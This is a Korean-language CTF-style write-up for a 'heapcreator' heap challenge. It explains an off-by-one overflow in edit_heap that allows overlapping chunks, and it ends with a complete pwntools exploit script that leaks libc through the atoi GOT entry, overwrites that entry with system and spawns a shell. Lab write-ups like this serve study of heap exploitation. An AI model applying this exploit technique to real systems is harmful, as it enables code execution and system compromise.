문제


heapcreator 바이너리의 checksec 결과는 다음과 같다.

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

file 명령어의 결과는 다음과 같다.

heapcreator: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=5e69111eca74cba2fb372dfcd3a59f93ca58f858, not stripped

바이너리 코드

create_heap()

__int64 create_heap()
{
    ...
    for(i=0;i<=9;i++)
    {
        if(!heaparray[i])
        {
            heaparray[i] = malloc(0x10);
            ...
            printf("Size of Heap : ");
            read(0,&buf,8);
            size = atoi(buf);
            v0 = heaparray[i]
            v0[1] = malloc(size);
            ...
            *(_QWORD *)heaparray[i] = size;
            printf("Content of heap:");
            read_input(*((void **)heaparray[i] + 1), size);
            ...
        }
    }
}

edit_heap()

__int64 edit_heap()
{
    ...
    printf("Index :");
    read(0,&buf,4);
    v1 = atoi(&buf);
    ...
    if(heaparray[i])
    {
        printf("Content of heap : ");
        read_input(*((void **)heaparray[i] + 1), *(_QWORD *)heaparray[i] + 1);
        puts("Done !");
    }
    ...
}

show_heap()

__int64 show_heap()
{
    ...
    printf("Index :");
    read(0,&buf,4);
    v1 = atoi(&buf);
    ...
    if(heaparray[i])
    {
        printf("size : %ld\nContent : %s\n", *(_QWORD *)heaparray[v1], *((_QWORD *)heaparray[i] + 1));
        puts("Done !");
    }
    ...
}

delete_heap()

__int64 delete_heap()
{
    ...
    printf("Index :");
    read(0,&buf,4);
    v1 = atoi(&buf);
    ...
    if(heaparray[i])
    {
        free(*((void **)heaparray[i] + 1));
        free(heaparray[i]);
        heaparray[i] = 0;
        puts("Done !");
    }
    ...
}

heaparray[i] : 0x20 크기의 chunk 주소 저장 0x20 크기의 chunk : size | malloc(size)로 할당한 chunk 주소

edit_heap() 함수에서 1byte overflow가 발생한다. 따라서 할당한 chunk의 크기를 (16바이트 단위의 크기 - 8)로 하면 다음 chunk의 size 영역에 1byte를 덮어쓸 수 있다.

Overlapping Chunks 취약점

조건

  • free chunk를 생성할 수 있어야 한다.
  • free chunk의 size 영역을 overwrite할 수 있어야 한다.

공격 방법

  • 3개의 chunk 생성
  • 2번째 chunk를 free한다.
  • free chunk의 size 영역에 재할당 받을 크기의 값을 덮어쓴다. (2번째 chunk의 크기 + 3번째 chunk의 크기 + prev_inuse(1))
  • 2번째 chunk의 크기 + 3번째 chunk의 크기를 malloc을 통해서 할당받으면 2번쨰 chunk의 주소가 리턴된다. 이를 통해서 3번째 chunk에 overwrite할 수 있다.

exploit 방법

  1. create_heap() 함수를 통해서 chunk를 2개 할당한다. (첫 번째 heap의 크기는 (16*X - 8)로 하고 두 번째 heap의 크기는 0x20이 되도록 한다.)
  2. edit_heap() 함수를 이용해서 heaparray[1]에 저장되어 있는 chunk의 size를 overwrite 한다.
  3. heaparray[1]의 chunk를 free한다.
  4. create_heap() 함수를 통해서 overwrite한 크기의 chunk를 할당한다. 이를 통해서 heaparray[1]에 저장된 chunk의 data 영역을 overwrite할 수 있다.

주의할 점
만약 0x100 크기의 small chunk (large chunk) 두 개를 할당하고 앞에 있는 small chunk의 size 영역을 0x201로 덮어쓰는 공격이 가능하다고 하자. 그 뒤에 두 chunk를 free하고 mallc(0x1f0)하면 첫 번째 chunk의 주소가 리턴된다. 하지만 그 이후 malloc(0xf0)을 하면 error가 발생한다. unlink 함수에서 chunksize(P) != prev_size (next_chunk(P) 이 조건을 만족시키지 못해서 터지는 것 같다.

풀이


#!/usr/bin/python

from pwn import *

def create_heap(size,content):
	p.recvuntil("choice :")
	p.send("1"+"\x00")
	p.recvuntil(" : ")
	p.send(size)
	p.recvuntil("heap:")
	p.send(content)
	p.recvuntil("SuccessFul\n")

def edit_heap(index,content):
	p.recvuntil("choice :")
	p.send("2"+"\x00")
	p.recvuntil(" :")
	p.send(index)
	p.recvuntil("heap : ")
	p.send(content)
	p.recvuntil("!\n")

def show_heap(index):
	p.recvuntil("choice :")
        p.send("3"+"\x00")
        p.recvuntil(" :")
        p.send(index)
	p.recvuntil("Content : ")
	content=p.recvuntil("\n", drop=True)
	p.recvuntil("!\n")
	return content

def delete_heap(index):
	p.recvuntil("choice :")
	p.send("4"+"\x00")
	p.recvuntil(" :")
	p.send(index)
	p.recvuntil("!\n")

file_path="/home/sungyun/round4/lab13/heapcreator"

puts_got=0x602028
atoi_got=0x602060

p=process(file_path)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

create_heap("40","ha_weeee^____^")
create_heap("16","ba_weeee^____^")

pay="A"*40
pay+="\x41"

edit_heap("0",pay)

delete_heap("1")

create_heap("48","1_c4n_0verwrite")

pay2="A"*0x20
pay2+="\x30"+"\x00"*7
pay2+=p64(atoi_got)

edit_heap("1",pay2)

atoi_got=show_heap("1")
atoi_got=u64(atoi_got+"\x00"*(8-len(atoi_got)))

libc_base=atoi_got-libc.symbols['atoi']
#one_gad=libc_base+0x4526a
system=libc_base+libc.symbols['system']

edit_heap("1",p64(system))


p.recvuntil("choice :")
p.send("sh\x00")

p.interactive()